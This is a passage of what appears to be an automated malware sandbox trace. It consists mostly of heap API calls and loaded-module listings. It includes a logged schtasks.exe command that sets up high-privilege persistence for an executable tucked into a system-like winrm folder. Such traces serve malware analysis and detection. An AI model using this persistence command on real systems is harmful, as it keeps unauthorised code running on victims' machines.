lpMem=0x3ccd20 | out: hHeap=0x3b0000) returned 1 [0156.190] GetProcessHeap () returned 0x3b0000 [0156.190] GetProcessHeap () returned 0x3b0000 [0156.190] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd580) returned 1 [0156.190] GetProcessHeap () returned 0x3b0000 [0156.190] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd580) returned 0x16 [0156.190] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd580 | out: hHeap=0x3b0000) returned 1 [0156.190] GetProcessHeap () returned 0x3b0000 [0156.190] GetProcessHeap () returned 0x3b0000 [0156.190] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccf0) returned 1 [0156.190] GetProcessHeap () returned 0x3b0000 [0156.190] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cccf0) returned 0x20 [0156.190] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccf0 | out: hHeap=0x3b0000) returned 1 [0156.190] GetProcessHeap () returned 0x3b0000 [0156.190] GetProcessHeap () returned 0x3b0000 [0156.190] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5a0) returned 1 [0156.191] GetProcessHeap () returned 0x3b0000 [0156.191] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5a0) returned 0x16 [0156.191] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5a0 | out: hHeap=0x3b0000) returned 1 [0156.191] GetProcessHeap () returned 0x3b0000 [0156.191] GetProcessHeap () returned 0x3b0000 [0156.191] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccc0) returned 1 [0156.191] GetProcessHeap () returned 0x3b0000 [0156.191] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cccc0) returned 0x20 [0156.191] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccc0 | out: hHeap=0x3b0000) returned 1 [0156.191] GetProcessHeap () returned 0x3b0000 [0156.191] GetProcessHeap () returned 0x3b0000 [0156.191] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e9b10) returned 1 [0156.191] GetProcessHeap () returned 0x3b0000 [0156.191] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3e9b10) returned 0x82 [0156.192] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e9b10 | out: hHeap=0x3b0000) returned 1 [0156.192] GetProcessHeap () returned 0x3b0000 [0156.192] GetProcessHeap () returned 0x3b0000 [0156.192] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc90) returned 1 [0156.192] GetProcessHeap () returned 0x3b0000 [0156.192] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc90) returned 0x20 [0156.192] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc90 | out: hHeap=0x3b0000) returned 1 [0156.192] GetProcessHeap () returned 0x3b0000 [0156.192] GetProcessHeap () returned 0x3b0000 [0156.192] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5e0) returned 1 [0156.192] GetProcessHeap () returned 0x3b0000 [0156.192] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5e0) returned 0xe [0156.192] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5e0 | out: hHeap=0x3b0000) returned 1 [0156.192] GetProcessHeap () returned 0x3b0000 [0156.192] GetProcessHeap () returned 0x3b0000 [0156.192] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc60) returned 1 [0156.192] GetProcessHeap () returned 0x3b0000 [0156.192] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc60) returned 0x20 [0156.193] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc60 | out: hHeap=0x3b0000) returned 1 [0156.193] GetProcessHeap () returned 0x3b0000 [0156.193] GetProcessHeap () returned 0x3b0000 [0156.193] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd600) returned 1 [0156.193] GetProcessHeap () returned 0x3b0000 [0156.193] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd600) returned 0xc [0156.193] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd600 | out: hHeap=0x3b0000) returned 1 [0156.193] GetProcessHeap () returned 0x3b0000 [0156.193] GetProcessHeap () returned 0x3b0000 [0156.193] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc30) returned 1 [0156.193] GetProcessHeap () returned 0x3b0000 [0156.193] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc30) returned 0x20 [0156.193] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc30 | out: hHeap=0x3b0000) returned 1 [0156.193] GetProcessHeap () returned 0x3b0000 [0156.193] GetProcessHeap () returned 0x3b0000 [0156.193] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd620) returned 1 [0156.193] GetProcessHeap () returned 0x3b0000 [0156.194] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd620) returned 0xe [0156.194] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd620 | out: hHeap=0x3b0000) returned 1 [0156.194] GetProcessHeap () returned 0x3b0000 [0156.194] GetProcessHeap () returned 0x3b0000 [0156.194] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc00) returned 1 [0156.194] GetProcessHeap () returned 0x3b0000 [0156.194] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc00) returned 0x20 [0156.194] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc00 | out: hHeap=0x3b0000) returned 1 [0156.194] GetProcessHeap () returned 0x3b0000 [0156.194] GetProcessHeap () returned 0x3b0000 [0156.194] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd640) returned 1 [0156.194] GetProcessHeap () returned 0x3b0000 [0156.194] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd640) returned 0x10 [0156.194] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd640 | out: hHeap=0x3b0000) returned 1 [0156.194] GetProcessHeap () returned 0x3b0000 [0156.194] GetProcessHeap () returned 0x3b0000 [0156.194] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbd0) returned 1 [0156.195] GetProcessHeap () returned 0x3b0000 [0156.195] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccbd0) returned 0x20 [0156.195] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbd0 | out: hHeap=0x3b0000) returned 1 [0156.195] GetProcessHeap () returned 0x3b0000 [0156.196] GetProcessHeap () returned 0x3b0000 [0156.196] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb9f0) returned 1 [0156.196] GetProcessHeap () returned 0x3b0000 [0156.196] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cb9f0) returned 0x18 [0156.196] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb9f0 | out: hHeap=0x3b0000) returned 1 [0156.196] GetProcessHeap () returned 0x3b0000 [0156.196] GetProcessHeap () returned 0x3b0000 [0156.196] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59f0) returned 1 [0156.196] GetProcessHeap () returned 0x3b0000 [0156.196] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c59f0) returned 0x20 [0156.197] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59f0 | out: hHeap=0x3b0000) returned 1 [0156.197] GetProcessHeap () returned 0x3b0000 [0156.197] GetProcessHeap () returned 0x3b0000 [0156.197] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a20) returned 1 [0156.197] GetProcessHeap () returned 0x3b0000 [0156.197] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5a20) returned 0x20 [0156.197] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a20 | out: hHeap=0x3b0000) returned 1 [0156.197] GetProcessHeap () returned 0x3b0000 [0156.197] GetProcessHeap () returned 0x3b0000 [0156.197] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a50) returned 1 [0156.197] GetProcessHeap () returned 0x3b0000 [0156.197] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5a50) returned 0x20 [0156.197] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a50 | out: hHeap=0x3b0000) returned 1 [0156.197] GetProcessHeap () returned 0x3b0000 [0156.197] GetProcessHeap () returned 0x3b0000 [0156.197] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a80) returned 1 [0156.197] GetProcessHeap () returned 0x3b0000 [0156.197] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5a80) returned 0x20 [0156.198] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a80 | out: hHeap=0x3b0000) returned 1 [0156.198] GetProcessHeap () returned 0x3b0000 [0156.198] GetProcessHeap () returned 0x3b0000 [0156.198] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba10) returned 1 [0156.198] GetProcessHeap () returned 0x3b0000 [0156.198] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba10) returned 0x18 [0156.198] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba10 | out: hHeap=0x3b0000) returned 1 [0156.198] GetProcessHeap () returned 0x3b0000 [0156.198] GetProcessHeap () returned 0x3b0000 [0156.198] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ab0) returned 1 [0156.198] GetProcessHeap () returned 0x3b0000 [0156.198] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5ab0) returned 0x20 [0156.198] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ab0 | out: hHeap=0x3b0000) returned 1 [0156.198] GetProcessHeap () returned 0x3b0000 [0156.198] GetProcessHeap () returned 0x3b0000 [0156.198] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b40) returned 1 [0156.198] GetProcessHeap () returned 0x3b0000 [0156.198] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5b40) returned 0x20 [0156.199] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b40 | out: hHeap=0x3b0000) returned 1 [0156.199] GetProcessHeap () returned 0x3b0000 [0156.199] GetProcessHeap () returned 0x3b0000 [0156.199] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ba0) returned 1 [0156.199] GetProcessHeap () returned 0x3b0000 [0156.199] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5ba0) returned 0x20 [0156.199] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ba0 | out: hHeap=0x3b0000) returned 1 [0156.199] GetProcessHeap () returned 0x3b0000 [0156.199] GetProcessHeap () returned 0x3b0000 [0156.199] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c00) returned 1 [0156.199] GetProcessHeap () returned 0x3b0000 [0156.199] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5c00) returned 0x20 [0156.200] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c00 | out: hHeap=0x3b0000) returned 1 [0156.200] GetProcessHeap () returned 0x3b0000 [0156.200] GetProcessHeap () returned 0x3b0000 [0156.200] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c30) returned 1 [0156.200] GetProcessHeap () returned 0x3b0000 [0156.200] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5c30) returned 0x20 [0156.200] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c30 | out: hHeap=0x3b0000) returned 1 [0156.200] GetProcessHeap () returned 0x3b0000 [0156.200] GetProcessHeap () returned 0x3b0000 [0156.200] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba30) returned 1 [0156.200] GetProcessHeap () returned 0x3b0000 [0156.200] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba30) returned 0x18 [0156.200] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba30 | out: hHeap=0x3b0000) returned 1 [0156.200] GetProcessHeap () returned 0x3b0000 [0156.200] GetProcessHeap () returned 0x3b0000 [0156.200] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b70) returned 1 [0156.200] GetProcessHeap () returned 0x3b0000 [0156.200] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5b70) returned 0x20 [0156.201] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b70 | out: hHeap=0x3b0000) returned 1 [0156.201] GetProcessHeap () returned 0x3b0000 [0156.201] GetProcessHeap () returned 0x3b0000 [0156.201] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb9b0) returned 1 [0156.201] GetProcessHeap () returned 0x3b0000 [0156.201] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cb9b0) returned 0x18 [0156.201] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb9b0 | out: hHeap=0x3b0000) returned 1 [0156.201] exit (_Code=0) Thread: id = 193 os_tid = 0xcf4 Process: id = "51" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x40e16000" os_pid = "0xcec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 11 /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3996 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3997 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3998 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3999 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4000 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4001 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4002 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4003 start_va = 0xffbf0000 end_va = 0xffc37fff monitored = 1 entry_point = 0xffc1966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4004 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4005 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4006 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4007 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4008 start_va = 0x260000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4009 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4010 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4011 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4012 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4013 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4014 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4015 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4016 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4017 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4018 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4019 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4020 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4021 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4022 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4023 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4024 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4025 start_va = 0xc0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4026 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4027 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4028 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 4029 start_va = 0x500000 end_va = 0x687fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 4030 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4031 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4032 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4033 start_va = 0x690000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 4034 start_va = 0x820000 end_va = 0x1c1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 4035 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4036 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4037 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4038 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4039 start_va = 0x1c20000 end_va = 0x1eeefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4040 start_va = 0x120000 end_va = 0x19cfff monitored = 0 entry_point = 0x12cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4041 start_va = 0x120000 end_va = 0x19cfff monitored = 0 entry_point = 0x12cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4042 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4043 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4044 start_va = 0x1ef0000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 4045 start_va = 0x1ef0000 end_va = 0x1fcefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ef0000" filename = "" Region: id = 4046 start_va = 0x2040000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 4047 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4048 start_va = 0x150000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4049 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4050 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4051 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4052 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4053 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4054 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4055 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4056 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 194 os_tid = 0xce8 [0156.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25f8e0 | out: lpSystemTimeAsFileTime=0x25f8e0*(dwLowDateTime=0x29952b40, dwHighDateTime=0x1d8a92a)) [0156.329] GetCurrentProcessId () returned 0xcec [0156.329] GetCurrentThreadId () returned 0xce8 [0156.329] GetTickCount () returned 0x138b531 [0156.329] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x25f8e8 | out: lpPerformanceCount=0x25f8e8*=2063519277922) returned 1 [0156.330] GetModuleHandleW (lpModuleName=0x0) returned 0xffbf0000 [0156.330] __set_app_type (_Type=0x1) [0156.330] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc1972c) returned 0x0 [0156.330] __wgetmainargs (in: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248, _DoWildCard=0, _StartInfo=0xffc3125c | out: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248) returned 0 [0156.331] _onexit (_Func=0xffc22ab0) returned 0xffc22ab0 [0156.331] _onexit (_Func=0xffc22ac4) returned 0xffc22ac4 [0156.331] _onexit (_Func=0xffc22afc) returned 0xffc22afc [0156.331] _onexit (_Func=0xffc22b58) returned 0xffc22b58 [0156.332] _onexit (_Func=0xffc22b80) returned 0xffc22b80 [0156.332] _onexit (_Func=0xffc22ba8) returned 0xffc22ba8 [0156.332] _onexit (_Func=0xffc22bd0) returned 0xffc22bd0 [0156.332] _onexit 